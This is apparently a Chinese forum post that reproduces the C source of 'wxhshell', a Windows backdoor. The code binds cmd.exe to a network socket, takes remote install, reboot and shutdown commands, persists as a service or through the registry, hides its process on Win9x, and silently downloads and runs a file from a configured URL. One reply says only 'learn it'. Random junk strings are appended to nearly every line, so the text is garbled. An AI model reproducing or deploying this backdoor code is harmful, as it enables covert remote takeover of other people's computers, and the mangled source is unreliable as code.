  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'F[QE9]*  
  else jvm "7)h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F{f "xM  
  } } ho8d+A  
  else { Cl>'K*$F  
:d!.E$S  
    switch(cmd[0]) { 5'>(|7~%\  
  R_ 4600  
  // 帮助 .6OE8w 1  
  case '?': { ]Wv\$JXI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1/w['d4l!  
    break; Yq) wE|k/  
  } |TEf? <"c  
  // 安装 )Hlr 09t=]  
  case 'i': { Fz)z&WT  
    if(Install()) 18ci-W#p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +69sG9BA  
    else 8<?60sj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;U}lh~e11  
    break; ]rHdG^0uss  
    } "vjz $.  
  // 卸载 j t-ayLq  
  case 'r': { O-bC+vB]M  
    if(Uninstall()) cy/;qd+!M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZ"x\K-;  
    else 3Xf}vdgdM$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gnB%/g[_  
    break; =}U`q3k  
    } pt|u?T_+  
  // 显示 wxhshell 所在路径 ,uE WnZ"4  
  case 'p': { ]X4A)%i  
    char svExeFile[MAX_PATH]; oe4Fy}Y_;  
    strcpy(svExeFile,"\n\r"); X )g <F  
      strcat(svExeFile,ExeFile); T3)/?f?|  
        send(wsh,svExeFile,strlen(svExeFile),0); ^^)D!I"cA,  
    break; A^ t[PKM"  
    } H`aqpa"C  
  // 重启 nY}Ep\g  
  case 'b': { NBE)DL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cq % =DZ  
    if(Boot(REBOOT)) #th^\pV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0sU h]7y  
    else { 8TC%]SvYim  
    closesocket(wsh); FrB}2  
    ExitThread(0); 0D:J d6\  
    } !1)lGjMW  
    break; Y-@K@Zu]?  
    } ;VYL7Xu](  
  // 关机 4wMKl6mL  
  case 'd': { (?I8/KYR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |z Gwt Z  
    if(Boot(SHUTDOWN)) qnv9?Xh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !YsL x[+  
    else { z';p275  
    closesocket(wsh); _)zSjFX9  
    ExitThread(0); 4=>/x90y  
    } Qp!r_a&  
    break; AAxY{Z-4  
    } NHPpHY3^.  
  // 获取shell -?&wD["y  
  case 's': { }*hY#jo1  
    CmdShell(wsh); = %\;7  
    closesocket(wsh); 8@|+- )t  
    ExitThread(0); 7?qRY9Qu  
    break; t+W+f  
  } %=S~[&8C  
  // 退出 a RC >pK.  
  case 'x': { Ma: xxsH.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j^"Z^TEBT  
    CloseIt(wsh); KaZ*HPe(  
    break; 1K"``EvNB  
    } W0K&mBu  
  // 离开 q<>LK  
  case 'q': { =oV8 !d%]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nMNAn}~*M  
    closesocket(wsh); \RnGKQ"4  
    WSACleanup(); Xl.h&x0? 8  
    exit(1); PnJr  
    break; cH.T6u_%  
        } {W62%>v  
  } G0^WQQ4  
  } M3Q#=yy$D$  
@f{yx\u/  
  // 提示信息 yYkk0 3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KM*sLC#  
} ^VR1whCrx  
  } DQDt*Uj,  
T?I&n[Y|  
  return; 2fT't"gw  
} ?g&6l0 n`  
 (d |  
// shell模块句柄 Ro*$7j0!Hf  
int CmdShell(SOCKET sock) `o8b\p\zn  
{ "Q`{+|'=E  
STARTUPINFO si; 6d&BN7B  
ZeroMemory(&si,sizeof(si)); y@ J\h8_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0NK]u~T<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8)&H=#E  
PROCESS_INFORMATION ProcessInfo; s1<_=sfnT  
char cmdline[]="cmd"; c>{6NSS -  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .^N+'g  
  return 0; b#FN3AsR  
} ;Z:z'';Lm  
%@'9<i8o  
// 自身启动模式 xojy[c#  
int StartFromService(void) ez%RWck  
{ 0|9(oP/:  
typedef struct PorBB7iL  
{ WM}:%T-  
  DWORD ExitStatus; Fl>v9%A  
  DWORD PebBaseAddress; e<dFvMO  
  DWORD AffinityMask; fw ._  
  DWORD BasePriority;  N c F  
  ULONG UniqueProcessId; t(VG#}  
  ULONG InheritedFromUniqueProcessId; 4NUCLr7Y  
}   PROCESS_BASIC_INFORMATION; Z7"8dlb  
)5_GJm&R9  
PROCNTQSIP NtQueryInformationProcess; &NZN_%  
wxB?}   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;'!U/N;-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S;M'qwN  
z{bMW^F  
  HANDLE             hProcess; 8kXbyKX[b  
  PROCESS_BASIC_INFORMATION pbi; J4 .C"v0a  
[Tby+pC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h`Vb#5 ik  
  if(NULL == hInst ) return 0; 73P=<3  
M7/P&d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p%+ 0^]v1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "zc@(OA[z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $TU=^W)X  
d?Gf T$1  
  if (!NtQueryInformationProcess) return 0; t }7hD  
PwQW5,,h0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q<o*rcwf ^  
  if(!hProcess) return 0; " E72j.  
5s8S;Pb]<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3hab51J  
[@U8&W  
  CloseHandle(hProcess); F8Z<JcOI  
h#@l'Cye  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B~^MhX +j  
if(hProcess==NULL) return 0; y GT"k,a  
J0a]Wz%  
HMODULE hMod; Z2)f$ c  
char procName[255]; Q2cF++Q1  
unsigned long cbNeeded; %P0dY:L~  
v Q[{<|K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7Gnslp?[U  
%eGxQDIXg  
  CloseHandle(hProcess); 0{F"b'h  
`I,A7b  
if(strstr(procName,"services")) return 1; // 以服务启动 y A?>v'K  
xr&wV0O '  
  return 0; // 注册表启动 JaKR#Y$+~  
} 0bQaXxt|p  
V2g,JFp&  
// 主模块 ;@Ep?S @  
int StartWxhshell(LPSTR lpCmdLine) Dx$74~2e  
{ `)\_  
  SOCKET wsl; Iwi>yx8  
BOOL val=TRUE; gGw6c" FRQ  
  int port=0; a3?Dtoy'  
  struct sockaddr_in door; leiED'  
Q\z3YUk  
  if(wscfg.ws_autoins) Install(); B}X   C  
RKdf1C  
port=atoi(lpCmdLine); 3:<+9X  
F+*>q  
if(port<=0) port=wscfg.ws_port; \hdR&f5q  
x,E#+ m  
  WSADATA data; ?u"(^93f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5 usfyY]z  
M$1+,[^f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bjml%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "M v%M2'c  
  door.sin_family = AF_INET; 6R%c+ok8i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZB:Fjq  
  door.sin_port = htons(port); daWmF  
WEqHL,Uh]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >r{3t{  
closesocket(wsl); b;]'Bo0K  
return 1; e~$MIHBY]  
} m(y?3} h  
nuw90=qj!]  
  if(listen(wsl,2) == INVALID_SOCKET) { lk \|EG  
closesocket(wsl); LoOyqJ,  
return 1; \9Itu(<f  
} VPys  
  Wxhshell(wsl); $LAaG65V  
  WSACleanup(); lcJ`OLG  
Mb\~WUWI  
return 0; KK(x)(  
]j*o&6cQf  
} u):z1b3*?  
u~LisZ&tP  
// 以NT服务方式启动 1)#<nk)I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hz Vpv,|G  
{ aC]~   
DWORD   status = 0; uP|AP  
  DWORD   specificError = 0xfffffff; ;Zj Qy,H%  
|1g2\5Re  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @WhcY*R2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )K@ 20Q+0K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /Ia=/Jj7N  
  serviceStatus.dwWin32ExitCode     = 0; J9/9k  
  serviceStatus.dwServiceSpecificExitCode = 0; ?j8CkqX!  
  serviceStatus.dwCheckPoint       = 0; xw%?R=&L  
  serviceStatus.dwWaitHint       = 0; 4ms hB  
Yr-,0${m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F__DPEAc_  
  if (hServiceStatusHandle==0) return; o"Ef>5N  
%|SbZ)gcQ  
status = GetLastError(); H.Jcp|k[;  
  if (status!=NO_ERROR) "kP.Kx!  
{ t~5>PS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b\=0[kBQw  
    serviceStatus.dwCheckPoint       = 0; ]P(Eo|)m  
    serviceStatus.dwWaitHint       = 0; mWmDH74  
    serviceStatus.dwWin32ExitCode     = status; Esw&ScBOP  
    serviceStatus.dwServiceSpecificExitCode = specificError; {zVJlJKxs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }[AIE[  
    return; EVb'x Zr  
  } >#!n"i;  
zc/S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K\?vTgc(  
  serviceStatus.dwCheckPoint       = 0; ?[XH`c,  
  serviceStatus.dwWaitHint       = 0; v]VIUVd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =i:?4pIZ  
} *:\QD 8^  
/^4)V8D_S  
// 处理NT服务事件,比如:启动、停止 4`Fbl]Q   
VOID WINAPI NTServiceHandler(DWORD fdwControl) %}j/G l5  
{ [c>X Q  
switch(fdwControl) Onot<}K  
{ *:YW@Gbm  
case SERVICE_CONTROL_STOP: SvI  
  serviceStatus.dwWin32ExitCode = 0;  zKT \i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -MB ,]m  
  serviceStatus.dwCheckPoint   = 0; b?w4Nx#  
  serviceStatus.dwWaitHint     = 0; .>}we ~O  
  { I9Z8]Q+2"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \BJnJk!%  
  } w'L;`k;Q  
  return; &X|z(vSJ$  
case SERVICE_CONTROL_PAUSE: {jk {K6 }  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <#`<Ys3b*!  
  break; PicO3m  
case SERVICE_CONTROL_CONTINUE: UK _2i(I"e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6GJ?rE E/  
  break; z#,?*v  
case SERVICE_CONTROL_INTERROGATE: yGS._;#R  
  break; T( ;BEyc?  
}; Oh8;YE-%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Ur%.0  
} (%I`EAR  
D.?KgOZ  
// 标准应用程序主函数 bz}T}nj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tM@TT@.t~  
{ pdtK3Pf  
+d#ZSNu/  
// 获取操作系统版本 ss,6;wfX  
OsIsNt=GetOsVer(); .bpxSU%X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eQ C`e#%  
_k ~bH\(  
  // 从命令行安装 3!Bekn]  
  if(strpbrk(lpCmdLine,"iI")) Install(); C #TS  
/]+t$K\cBq  
  // 下载执行文件 ->93.sge  
if(wscfg.ws_downexe) { !sR`]0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OM, uR3,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0|4XV{\qT$  
} {H0B"i  
8.9S91]=  
if(!OsIsNt) { ,Zs-<e"  
// 如果时win9x,隐藏进程并且设置为注册表启动 I.(/j  
HideProc(); uV%7|/fD  
StartWxhshell(lpCmdLine); ~G"6^C:x  
} RJd55+h  
else g{a_{P  
  if(StartFromService()) N %0F[sY6  
  // 以服务方式启动 8+GlM+>4  
  StartServiceCtrlDispatcher(DispatchTable); {)k}dr  
else N^`F_R1Z  
  // 普通方式启动 Soop)e  
  StartWxhshell(lpCmdLine); tK]r>?Y\  
&LYU#$sj  
return 0; c()F%e:n  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八